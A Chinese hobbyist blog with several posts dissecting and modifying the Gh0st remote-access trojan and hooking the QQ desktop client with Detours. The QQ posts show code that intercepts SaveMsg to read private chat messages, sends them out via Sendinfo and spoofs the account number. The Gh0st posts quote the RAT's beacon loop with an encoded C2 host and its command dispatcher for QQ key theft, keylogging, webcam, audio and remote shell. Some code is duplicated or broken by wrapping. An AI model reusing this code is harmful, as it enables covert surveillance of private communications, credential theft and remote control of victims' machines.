欢迎光临
未来你我一起携手

CString与unsigned char[]的相互转换

Li, Json阅读(92)

由CString到unsigned char[]转换

unsigned char temp[] = { 0x01, 0xC2, 0x24, 0x80, 0x32, 0x00, 0x00, 0x19, 0x00, 0x00 };
TCHAR sz[2] = { 0 };
CString str;   
for (int i = 0; i < sizeof(temp) / sizeof(temp[0]); i++)
{
    _stprintf(sz, TEXT("%02X"), temp[i]);
    str += sz;
}
cout << str << endl;

由unsigned char[]到CString转换

CString str = "01C22480320000190000";
unsigned char temp2[10];
TCHAR sz2[3] = { 0 };
int nLen = str.GetLength() / 2;
for (int j = 0; j < nLen; j++)
{
    sz2[0] = str[j * 2];
    sz2[1] = str[j * 2 + 1];
 
    _stscanf(sz2, TEXT("%2X"), &temp2[j]);
}

最近在琢磨新增一下GHOST的插件,然后想通过内存加载的方式来进行加载。所以就有用到这两个转换。感谢老前辈的代码

Part2-使用HOOK技术来处理PC端QQ信息-QQHOOK

饭不多吃话不多说阅读(131)

接上。在处理完之后,发现却无法进行拦截。钩子已经装上。这是因为还少了一句DetourTransactionCommit();

这个函数是用来结束事务。

代码经过修改以后如下:

OldSaveMsg_1 = (M_SaveMsg_1)DetourAttach(&(PVOID&)fnGetSelfUin, 
(PBYTE)NewSaveMsg_1);OldSaveMsg_1 = (M_SaveMsg_1)DetourAttach(&(PVOID&)fnGetSelfUin, 
(PBYTE)NewSaveMsg_1); DWORD nErr = DetourTransactionCommit(); if (!nErr) { FreeLibrary(hModule); }

然后这时候我对获取UIN这个函数做了一个拦截与替换。NewSaveMsg_1 这个函数就是我们用来替换他的函数。

针对于UIN获取这个 很简单。因为只有一个返回值 返回了LONG类型的QQ号。

所以我们替换也会很简单

我只写了一条return 10001;就伪造出了马化腾的账号~当然  你自定义这个函数的时候记得修改 前辈定义的是BOOL类型。所以你的账号只能是1或者0;

另外附上几张图:

 

 

 

使用HOOK技术来处理PC端QQ信息-QQHOOK

Li, Json阅读(244)

先感谢一下前辈的经验分享:https://bbs.pediy.com/thread-152085.htm 笔记基于该篇文档做代码分析以及注解和扩展。首先是基于注入模块,大家可以看原文提供的代码。为节省篇幅,开始分析DLL的源码。DLL源码采用了detour来进行HOOK操作。关于detour大家可以通过百度百科来进行参考。另外需要注意的是,由于年份久远,detour进行了版本更新。并且在本例中使用的函数被更名。主要是DetourRemove和DetourFunction这两个。

大致流程如下:在DLL被Load以后。加载instance函数。然后加载QQ的KernelUtil这个DLL。关于为什么加载这个,对于初次接触逆向这一块的我思路是如下,首先找一个比较常见的防撤回补丁。该补丁是IM.DLL 然后分析IM.DLL发现和KernelUtil有关。所以然后分析了该DLL的导出函数。发现很多功能函数都在这。在加载了KernelUtil这个dll以后。

if (hModule == NULL)
	{
		hModule = LoadLibrary("KernelUtil.dll");
	}

然后开始加载这个dll的获取UIN的函数内存地址

ULONG fnGetSelfUin;
	ULONG currentQQ;
	fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");

在确认该导出函数正常获取以后。即可获取这个函数的返回

if (fnGetSelfUin)
	{
		currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
		if (currentQQ)
		{
			char buf[64];
			wsprintfA(buf, "新登录QQ: %d", currentQQ);
			CString fff = buf;
			fff = fff + "\r\n";
			OutputDebugString(fff);
			//AfxMessageBox(fff);
			//theApp.filename = buf;
			//Sendinfo(fff);
		}
	}

在这里查看导出函数可以使用PEExplorer来查看。

紧接着我们肯定需要获取QQ消息 用同理来获取内存地址

	TrueSaveMsg_1 = (M_SaveMsg_1)GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack
@@PAUITXData@@@Z");TrueSaveMsg_1 = (M_SaveMsg_1)GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_
WKKKPAUITXMsgPack@@PAUITXData@@@Z"); 
if (!TrueSaveMsg_1) { return FALSE; }

这里的TureGetMSgAbstract定义如下:

M_SaveMsg_1 TrueSaveMsg_1 = NULL;    TrueSaveMsg_1 = NULL;

M_SaveMsg_1定义如下:

typedef  BOOL(__cdecl *M_SaveMsg_1)(LPCWSTR lpStr,typedef  BOOL(__cdecl *M_SaveMsg_1)(LPCWSTR lpStr, 
DWORD dTo_Num, DWORD dFrom_Num, DWORD dTo_Num_2,struct ITXMsgPack * TXMsgPack,struct ITXData* TXData);
typedef  PVOID(__cdecl *M_GetMsgAbstract)(PVOID lpPar_1, struct ITXMsgPack * TXMsgPack);

关于这个函数的传入参数。也可以通过PE浏览器来获取。

紧接着我们看这里

	TrueSaveMsg_1 = (M_SaveMsg_1)GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack
@@PAUITXData@@@Z");TrueSaveMsg_1 = (M_SaveMsg_1)GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_
WKKKPAUITXMsgPack@@PAUITXData@@@Z"); 
if (!TrueSaveMsg_1) { return FALSE; }

这里意思就是  如果成功获取了?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z

这个函数内存地址。则返回TURE,否则返回false。

我们继续往下看

       // 开始HOOK
	if (TrueSaveMsg_1)
	{
		OldSaveMsg_1 = (M_SaveMsg_1)DetourAttach((PVOID*)(PBYTE)TrueSaveMsg_1, (PBYTE)NewSaveMsg_1);
	}

	if (TrueSaveMsg_2)
	{
		OldSaveMsg_2 = (M_SaveMsg_2)DetourAttach((PVOID*)(PBYTE)TrueSaveMsg_2, (PBYTE)NewSaveMsg_2);
	}

这里就是说,假如内存地址获取到了。则使用DetourAttach来HOOK这个函数。我们先来看一看这个函数的解析

LONG DetourAttach( PVOID * ppPointer, PVOID pDetour );函数的第一个参数是一个指向将要被挂接函数地址的函数指针,第二个参数是指向实际运行的函数的指针,一般来说是我们定义的替代函数的地址。

第一个参数  则是我们使用GetProcAddress并且赋值给的TrueSaveMsg_1第二个参数则是替代函数。也就是我们要做的处理。就是我们截获到了 肯定要做处理的对不对?比如存储  比如根据接收到的消息来处理返回。我们跟进一下这个函数,看看他是如何处理

BOOL  __cdecl NewSaveMsg_1(LPCWSTR lpStr,
	DWORD dTo_Num,
	DWORD dFrom_Num,
	DWORD data3,
struct ITXMsgPack * TXMsgPack,
struct ITXData* TXData)
{




	long lSelfQQNum = TrueGetSelfUin();
	//调试打印输出,时间
	WCHAR wszStringTime[20] = { 0 };
	/*time_t Time;
	struct tm *local;
	
	Time = (time_t)TrueGetMsgTime(TXMsgPack);
	local = localtime(&Time);
	swprintf(wszStringTime, L"%0.2d:%0.2d:%0.2d", local->tm_hour, local->tm_min, local->tm_sec);*/

	LPWSTR lpName1 = NULL, lpName2 = NULL;

	if (TrueGetPublicName)
	{
		TrueGetPublicName(&lpName1, dFrom_Num);
		TrueGetPublicName(&lpName2, dTo_Num);
	}

	WCHAR wszStringBuffer[MAX_PATH] = { 0 };


	CString  ms1;
	CString  ms2;
	//发消息人是自己


	if (lSelfQQNum == dFrom_Num)
	{
		//swprintf(wszStringBuffer, L"[个聊][%d]%ws(%u)to(%u) %ws", lSelfQQNum, lpName1, dFrom_Num, 
dTo_Num, wszStringTime);
		ms1 = wszStringBuffer;
		//  OutputDebugStringW(wszStringBuffer);

	}

	//发消息人不是自己
	if (lSelfQQNum != dFrom_Num && dTo_Num == lSelfQQNum)
	{
		//swprintf(wszStringBuffer, L"[个聊][%d]%ws(%u)to(%u) %ws", lSelfQQNum, lpName1, dFrom_Num, 
dTo_Num, wszStringTime);
		ms1 = wszStringBuffer;
		//  OutputDebugStringW(wszStringBuffer);
	}
	CString strBuffer;
	LPWSTR *lpBuffer = (LPWSTR *)TrueGetMsgAbstract(strBuffer.GetBufferSetLength(4096), TXMsgPack);
	ms2 = ms1 + "\r\n";
	ms2 += *lpBuffer;
	//调试打印输出,内容
	//OutputDebugStringW(*lpBuffer);
	Sendinfo(ms2);
	OutputDebugString(ms2);

	return OldSaveMsg_1(lpStr, dTo_Num, dFrom_Num, data3, TXMsgPack, TXData);
}

第一句:long lSelfQQNum = TrueGetSelfUin();

这里使用long型来获取自身的UIN。然后定义2个LPWSTR变量用作存储。LPWSTR lpName1 = NULL, lpName2 = NULL;

紧接着有一个判断

if (TrueGetPublicName)
	{
		TrueGetPublicName(&lpName1, dFrom_Num);
		TrueGetPublicName(&lpName2, dTo_Num);
	}

相关片段如下:

TrueGetPublicName = (M_GetPublicName)GetProcAddress(hModule, "?GetPublicName@Contact@Util@@YA?AVCTXStringW@@K
@Z");

其实这里并没有继续往下操作。还是说 这里就已经获取到了相关数据。很奇怪 紧接着就是一些数据传送方面。

啊啊啊   一头雾水。还需要好好琢磨

大致流程算是清晰了一点。不妨先修改一些函数地址 做个测试吧!

 

 

Ghost远程管理IOCP模型剥离笔记

Li, Json阅读(313)

简单的完善了一下双向的连接。监听以及连接服务端。现在就是开始接收数据,然后再处理数据。简单看了下代码:

OutputDebugString(lpszHost);
	char szMsg[80]={0} ;
wsprintf(szMsg,"%d",Port);
OutputDebugString(szMsg);
		if (!socketClient.Connect(lpszHost,Port))
		{
			bBreakError = CONNECT_ERROR;
			continue;
		}
	
	OutputDebugString("登录");
		// 登录
		DWORD dwExitCode = SOCKET_ERROR;
		sendLoginInfo(NULL, &socketClient, GetTickCount() - dwTickCount);
		CKernelManager	manager(&socketClient,strKillEvent,lpszHost,Port);
		socketClient.setManagerCallBack(&manager);
		
		//////////////////////////////////////////////////////////////////////////
		// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
		for (int i = 0; (i < 10 && !manager.IsActived()); i++)
		{
			Sleep(1000);
		}

上面是一些代码片段。大致流程就是,在连接到服务端以后,他会发送登录信息,也就是SendLoginInfo来登录到服务端,这个过程大致就是:服务端接收信息,然后来判断数据是否符合标准,是否是有效的,另外下面等待过程是等待服务端反馈,打个比喻就是,大哥。这是我的资料,您请过目?然后服务端就告诉他,嗯,可以。资料审核通过。请开始你的表演。

差不多就是这个意思了。我们跟进SendLogininfo这里。其实 这里主要是进行了一些数据的获取。比如CPU之类的东西。我们看下代码片段。

int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed)
{
	int nRet = SOCKET_ERROR;
	// 登录信息
	LOGININFO	LoginInfo;
	// 开始构造数据
	LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录
	LoginInfo.bIsWebCam = 0; //没有摄像头
	LoginInfo.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
	GetVersionEx((OSVERSIONINFO *)&LoginInfo.OsVerInfoEx); // 注意转换类型
	GetNtVersionNumbers(LoginInfo.OsVerInfoEx.dwMajorVersion,LoginInfo.OsVerInfoEx.dwMinorVersion,LoginInfo.OsVerInfoEx.dwBuildNumber);
	// 主机名
	char hostname[256];
	GetHostRemark(hostname, sizeof(hostname));	
	// 连接的IP地址
	sockaddr_in  sockAddr;
	memset(&sockAddr, 0, sizeof(sockAddr));
	int nSockAddrLen = sizeof(sockAddr);
	getsockname(pClient->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
	memcpy(&LoginInfo.IPAddress, (void *)&sockAddr.sin_addr, sizeof(IN_ADDR));
	memcpy(&LoginInfo.HostName, hostname, sizeof(LoginInfo.HostName));
	// CPU
	LoginInfo.dwCPUClockMhz = CPUClockMhz();
	SYSTEM_INFO SysInfo;//用于获取CPU个数的
	GetSystemInfo(&SysInfo);
	LoginInfo.nCPUNumber = SysInfo.dwNumberOfProcessors;
	strcpy(LoginInfo.UpGroup,UpRow);
	nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
	return nRet;
}

简化一下就是几行代码:

int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed)
{
	int nRet = SOCKET_ERROR;
	LOGININFO	LoginInfo;
	LoginInfo.bToken = TOKEN_LOGIN; 
	nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
	return nRet;
}

然后这个Logininfo其实是个结构体。声明如下:

//上线结构体
typedef struct
{	
	BYTE			bToken;			// = 1
	OSVERSIONINFOEX	OsVerInfoEx;	// 版本信息
	DWORD			dwCPUClockMhz;	// CPU频率
}LOGININFO;

上述代码有点简化,不过不影响。我们也来做这个结构体吧。

typedef struct
{	
	BYTE			bToken;			// = 1
	char			bInfo[50];		//附加信息
}LOGININFO;

经过精简以后,其实大家也可以看到,。主要是这个Send函数。然后我们构造一下登录信息是这样 的

       int nRet = SOCKET_ERROR;
        LOGININFO	LoginInfo;
        LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录
	LoginInfo.bInfo ="简单测试paopaoyang.com"; 
        nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
	return nRet;

我现在是放到这里测试,具体还可以根据你们需求改。我先加上代码。另外,这个结构体在一个ma的头文件里定义过了。所以要注意一下

LOGININFO	LoginInfo;
        LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录
		LoginInfo.bInfo ="简单测试paopaoyang.com";
		socketClient.Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));

好了  这里算是改好了 。其实也可以测试一下,代码如下(暂时照着他的代码逻辑来循环 并没有改动太大):

	HANDLE	hEvent = NULL;
	char	strKillEvent[100];
	wsprintf(strKillEvent, "%s %d","127.0.0.1",7777);
	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT;
	while (1)
	{
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			for (int i = 0; i < 1000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();
					CloseHandle(hEvent);
					break;					
				}
				Sleep(200);
			}
		}
		lpszHost = "127.0.0.1";
		Port = 7777;
		DWORD dwTickCount = GetTickCount();
		if (!socketClient.Connect(lpszHost,Port))
		{
			MessageBox(NULL,"没连接上啊老哥","",NULL);
			bBreakError = CONNECT_ERROR;
			continue;
		}else
		{
			MessageBox(NULL,"连接上","",NULL);
			LOGININFO	LoginInfo;
			LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录
			LoginInfo.bInfo ="paopaoyang.com";
			socketClient.Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
		}	
	}    
	return 0;

 

因为在服务端上我加了一个看接收和发送数据的东西。一开始是这样的

下面那个只读的编辑框是用来显示速率的。现在运行我们的客户端。

他会提示已经连接OK。然后他会发送信息给服务端 如图:

这里会循环发送。代码上面已经给出。主要是保持原有逻辑。先做小幅度的修改。现在就是服务端的事情了,来处理这个消息。把消息输出到日志里面去。那么服务端如何来处理这些消息呢,首先我们还是找这个TOKEN_LOGIN来看看能不能找到什么线索。结果发现在一个ProcessReceiveComplete中有调用(switch语句。发送的数据会在之类做初步的一个处理和简单分发)这个函数的声明如下:

void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)

仿佛是没什么嚼头,那就跟着这个调用 看看是在哪里用的?其实回头想想,我们在那个接收的回调函数那里就可以做处理了。也就是NotifyProc里面。好了 我们来处理一下这个。

void CALLBACK CIocp_testDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
{
	try
	{
		CIocp_testDlg* pFrame = (CIocp_testDlg*) lpParam;
		CString str;
		// 对g_pConnectView 进行初始化
 		str.Format(_T("连接速率:S: %.2f kb/s R: %.2f kb/s"), (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024);
		pFrame->GetDlgItem(IDC_EDIT2)->SetWindowText(str);
		int iIndex;
		switch (nCode)
		{
		case NC_CLIENT_CONNECT:
			iIndex = pFrame->m_Log.GetItemCount();
			pFrame->m_Log.InsertItem(iIndex,GetTime());	
			pFrame->m_Log.SetItemText(iIndex,1,"有新主机尝试连接。");
			break;
		case NC_CLIENT_DISCONNECT:
			iIndex = pFrame->m_Log.GetItemCount();
			pFrame->m_Log.InsertItem(iIndex,GetTime());	
			pFrame->m_Log.SetItemText(iIndex,1,"主机连接已被断开。");
			//g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
			break;
		case NC_TRANSMIT:
			break;
		case NC_RECEIVE:
			iIndex = pFrame->m_Log.GetItemCount();
			pFrame->m_Log.InsertItem(iIndex,GetTime());	
			pFrame->m_Log.SetItemText(iIndex,1,"正在接受讯息。");
			//ProcessReceive(pContext);
			break;
		case NC_RECEIVE_COMPLETE:
			iIndex = pFrame->m_Log.GetItemCount();
			pFrame->m_Log.InsertItem(iIndex,GetTime());	
			pFrame->m_Log.SetItemText(iIndex,1,"讯息接受完毕。");
			//ProcessReceiveComplete(pContext);
			break;
		}
	}catch(...){}
}

那我们就新建一个函数来处理吧!

原本是这样的(他这里做了一个处理,就是通知打开窗口。大致意思就是  别人发消息给他了,他告诉主窗体说 你赶紧把东西打开 有人要投递。然后主窗口把东西打开了。紧接着就是后续操作了):

if (pContext == NULL)
		return;

	// 如果管理对话框打开,交给相应的对话框处理
	CDialog	*dlg = (CDialog	*)pContext->m_Dialog[1];
	
	// 交给窗口处理
	if (pContext->m_Dialog[0] > 0)
	{
		switch (pContext->m_Dialog[0])
		{
		case FILEMANAGER_DLG:
			((CFileManagerDlg *)dlg)->OnReceiveComplete();
			break;
		default:
			break;
		}
		return;
	}

	switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
	{
	case TOKEN_AUTH: // 要求验证
		m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
		break;
	case TOKEN_HEARTBEAT: // 回复心跳包
		{
			BYTE	bToken = COMMAND_REPLAY_HEARTBEAT;
			m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
		}
		
		break;
	case TOKEN_LOGIN: // 上线包
		{
			pContext->m_bIsMainSocket = true;
			g_pTabView->PostMessage(WM_ADDFINDGROUP, 0, (LPARAM)pContext);
			// 激活
			BYTE	bToken = COMMAND_ACTIVED;
			m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
		}
		break;
	case TOKEN_DRIVE_LIST: // 驱动器列表
		// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
		g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_QQClientKey_Start: //服务端发来消息 已经接收到上次发送的获取QQ的消息了	
		g_pConnectView->PostMessage(WM_OPENQQMANAGERDIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_QQClientKey_OVER:
		AfxMessageBox("QQ数据接收完毕");
		//MessageBox("QQ数据接收完毕","腾讯助手",MB_OK);
		break;
	case TOKEN_BITMAPINFO: //
		// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
		g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
		g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_AUDIO_START: // 语音
		g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_KEYBOARD_START://键盘
		g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_PSLIST://进程列表
		g_pConnectView->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_SHELL_START://远程终端
		g_pConnectView->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_SYSINFOLIST:
		g_pConnectView->PostMessage(WM_OPENSYSINFODIALOG, 0, (LPARAM)pContext);
		break;
		// 命令停止当前操作
	default:
		closesocket(pContext->m_Socket);
		break;
	}	

这里我们就不这么麻烦了。也就是说 我们这里先不用进行处理了。但为了好看一些  这里还是稍处理下吧

void CIocp_testDlg::ProcessReceive(ClientContext *pContext)
{
	if (pContext == NULL)
		return;
	switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
	{
		case TOKEN_LOGIN: // 上线包
				AfxMessageBox("你要给我传送TOKEN_LOGIN消息了吗");
//              这里就是告诉客户端 我东西已经打开了 你可以开始传东西了哈
//				BYTE	bToken = COMMAND_ACTIVED;
//				m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
				break;
		default:
			closesocket(pContext->m_Socket);
			break;
	}	
	return;
}

紧接着就是处理接收完毕的消息了。操作还是和上面一样。我就不贴了。代码如下:

void CIocp_testDlg::ProcessReceiveComplete(ClientContext *pContext)
{
	CString RecevieData;
	RecevieData=(char *)pContext->m_DeCompressionBuffer.GetBuffer(1);
	int iIndex = m_Log.GetItemCount();
	m_Log.InsertItem(iIndex,GetTime());	
	m_Log.SetItemText(iIndex,1,RecevieData);
}

上一下效果图【整理下大致流程:客户端发起连接->连接成功->发送登录数据->服务端检测这个数据 如果符合要求->发送消息告诉客户端可以继续下一步->客户端开始发送消息并通知服务端->服务端开始做一些准备->准备工作完毕再通知客户端->客户端开始正式发送数据->服务端进行接收并处理】:

 

Ghost远程管理IOCP模型剥离笔记

Li, Json阅读(316)

之前完成了端口的监听,这次要对监听做一些完善和修改。主要是对于NotifyProc这个进行一下“丰满”处理。原代码如下

	try
	{
		CMainFrame* pFrame = (CMainFrame*) lpParam;
		CString str;
		// 对g_pConnectView 进行初始化
		g_pConnectView = (CClientView *)((CClientApp *)AfxGetApp())->m_pConnectView;

		// g_pConnectView还没创建,这情况不会发生
		if (((CClientApp *)AfxGetApp())->m_pConnectView == NULL)
			return;

		g_pConnectView->m_iocpServer = m_iocpServer;

 		str.Format(_T("S: %.2f kb/s R: %.2f kb/s"), (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024);
 		g_pFrame->m_wndStatusBar.SetPaneText(1, str);

		switch (nCode)
		{
		case NC_CLIENT_CONNECT:
			break;
		case NC_CLIENT_DISCONNECT:
			g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
			break;
		case NC_TRANSMIT:
			break;
		case NC_RECEIVE:
			ProcessReceive(pContext);
			break;
		case NC_RECEIVE_COMPLETE:
			ProcessReceiveComplete(pContext);
			break;
		}
	}catch(...){}

先修改该修改的类名。然后编译会提示g_pConnectView没有定义,我们来看下这个的定义

CClientView* g_pConnectView = NULL;

就是酱紫定义的,我们也给他重新定义一下。关于这个afxgetapp说明如下:

AfxGetApp( )是全局的。
AfxGetApp( )这个函数可以得到当前应用进程的指针,是CWinApp*类型的,通过这个指针可以访问到这个进程中的对象。
比如在全局函数中要向对话框中的列表写数据。

void writeString(char* pString)

CWnd* pWnd = AfxGetApp()->GetMainWnd();
CMyDlg * pDlg;
pDlg=(CMyDlg *) pWnd;
pDlg->ShowMsg(pString);

AfxGetApp()得到进程指针CWinApp*,通过这个指针可以得到pWnd。

那么这里因为这个东西我们不需要展示,也没有给控件设置这个成员变量。唔。其实本来呢   我是准备注释掉。但是现在还是正儿八经的不偷懒吧。我创建了一个静态文本框。然后给他设置成这个名字。

这里需要注意,你不给他设置一个ID的话是没办法给他添加成员变量的哦。不过一番尝试之后呢 发现还是没用诶。还是从客户端再看看吧  嫌弃

首先是看dll的入口函数,一些乱七八糟的就不看了,直接是来到了login这个函数 代码如下:

BOOL Login()
{


	OutputDebugString("进入login");
	HANDLE	hEvent = NULL;
	char	strKillEvent[100];
	wsprintf(strKillEvent, "%s %d",MyDecode(szDns),dwPort);

	HANDLE m_hMutex;
	m_hMutex = CreateMutex(NULL, FALSE, MyDecode(szDns));
	if (m_hMutex && GetLastError() == ERROR_ALREADY_EXISTS)
	{
		exit(0);
		ExitProcess(0);
		return -1;
	}

	OutputDebugString("互斥完");





	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT;
	while (1)
	{
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			for (int i = 0; i < 1000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();
					CloseHandle(hEvent);
					break;					
				}
				Sleep(200);
			}
		}
		lpszHost = MyDecode(szDns);
		Port = dwPort;

		DWORD dwTickCount = GetTickCount();

	OutputDebugString(lpszHost);
	char szMsg[80]={0} ;
wsprintf(szMsg,"%d",Port);
OutputDebugString(szMsg);
		if (!socketClient.Connect(lpszHost,Port))
		{
			bBreakError = CONNECT_ERROR;
			continue;
		}
	
	OutputDebugString("登录");
		// 登录
		DWORD dwExitCode = SOCKET_ERROR;
		sendLoginInfo(NULL, &socketClient, GetTickCount() - dwTickCount);
		CKernelManager	manager(&socketClient,strKillEvent,lpszHost,Port);
		socketClient.setManagerCallBack(&manager);
		
		//////////////////////////////////////////////////////////////////////////
		// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
		for (int i = 0; (i < 10 && !manager.IsActived()); i++)
		{
			Sleep(1000);
		}
		// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
		if (!manager.IsActived())
			continue;
		
		//////////////////////////////////////////////////////////////////////////
		
		DWORD	dwIOCPEvent;
		dwTickCount = GetTickCount();
		
		do
		{
			hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
			dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
			Sleep(500);
		} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
		
		if (hEvent != NULL)
		{
			socketClient.Disconnect();
			CloseHandle(hEvent);
			break;
		}
	}

	return 0;
}

精简吧

这次更新距离上次已经1天了。讲真  这些东西看着真的头大。然后好不容易改出来一个版本 。另外上述登录代码我也做了一些精简。目前是这样的

char	*lpszHost = NULL;
	DWORD	Port = 80;
 	// TODO: Place code here.
	char	strKillEvent[100];
	HANDLE	hEvent = NULL;
	wsprintf(strKillEvent, "%s %d","127.0.0.1","7777");
	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT;
	while (1)
	{
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			for (int i = 0; i < 1000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();
					CloseHandle(hEvent);
					break;					
				}
				Sleep(200);
			}
		}
		lpszHost = "127.0.0.1";
		Port = 7777;

		DWORD dwTickCount = GetTickCount();

	OutputDebugString(lpszHost);
	char szMsg[80]={0} ;
	wsprintf(szMsg,"%d",Port);
	OutputDebugString(szMsg);
	if (!socketClient.Connect(lpszHost,Port))
	{
		bBreakError = CONNECT_ERROR;
		MessageBox(NULL,"连接失败",NULL,NULL);
		continue;
	}
	MessageBox(NULL,"连接成功",NULL,NULL);
	return 0;
	}

代码逻辑就不用管他了,就是简单修改一下。测试一下而已。后面会再做一些改动。勿喷。另外附上效果图 【其实总结起来,分离并不是很困难。里面很多东西只是放到一起了  单独剥离一下就可以了。头脑清晰时建议尝试,不然真会死人了】:

Ghost远程管理IOCP模型剥离笔记

Li, Json阅读(305)

最近想剥离一下Ghost的IOCP网络模型,所以趁着晚上写了写笔记。边修改边笔记,结果完了入迷了就也不知道记笔记了。然后就是笔记看着有点乱,凑合看看。一开始是放到空间了。先从监听开始,看下远程管理,以下简称它。
看下代码:

void CSetting::OnApply() 
{
    // TODO: Add your control notification handler code here
    int prev_port = m_listen_port;
    int prev_max_connections = m_max_connections;
    
    UpdateData(TRUE);
    
    if (prev_max_connections != m_max_connections)
    {
        if (m_connect_auto)
            InterlockedExchange((LPLONG)&m_iocpServer->m_nMaxConnections, 8000);
        else
            InterlockedExchange((LPLONG)&m_iocpServer->m_nMaxConnections, m_max_connections);
    }
    
    if (prev_port != m_listen_port)
        g_pFrame->Activate(m_listen_port, m_iocpServer->m_nMaxConnections);
 
    ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Settings", "ListenPort", m_listen_port);
    ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Settings", "MaxConnection", m_max_connections);
    ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Settings", "MaxConnectionAuto", m_connect_auto);
    SetDlgItemText(IDC_SHOWTIPS, "已保存设置");
}

 

忽略掉写入配置文件的 这里调用 了Active的函数 追入代码:

void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)
{
    CString     str,strLogText;
 
    if (m_iocpServer != NULL)
    {
        m_iocpServer->Shutdown();
        delete m_iocpServer;
 
    }
    m_iocpServer = new CIOCPServer;
 
    // 开启IPCP服务器
    if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort))
    {
        CString IP;
        
        char hostname[256]; 
        gethostname(hostname, sizeof(hostname));
        HOSTENT *host = gethostbyname(hostname);
        if (host != NULL)
            IP = inet_ntoa(*(IN_ADDR*)host->h_addr_list[0]);
        else
            IP = _T("127.0.0.1");
 
        ShowWindow(SW_SHOW);
        UpdateWindow();
        CString web;
        web.Format(_T("%s:%d"), IP,nPort);
        m_wndStatusBar.SetPaneText(0, web);
        strLogText.Format( "xxxxx  V1.2  监听端口: [%d]",  nPort );
        g_pLogView->AddToLog(strLogText);
    }
    else
    {
        str.Format(_T("端口 %d 监听失败"), nPort);
        AfxMessageBox(str);
        ShowWindow(SW_SHOW);
        UpdateWindow();
        m_wndStatusBar.SetPaneText(0, str);
        strLogText.Format( "xxxx   端口[%d]监听失败!",  nPort );
        g_pLogView->AddToLog(strLogText);
    }
 
    m_wndStatusBar.SetPaneText(2, _T("Online: 0"));
}
 

 

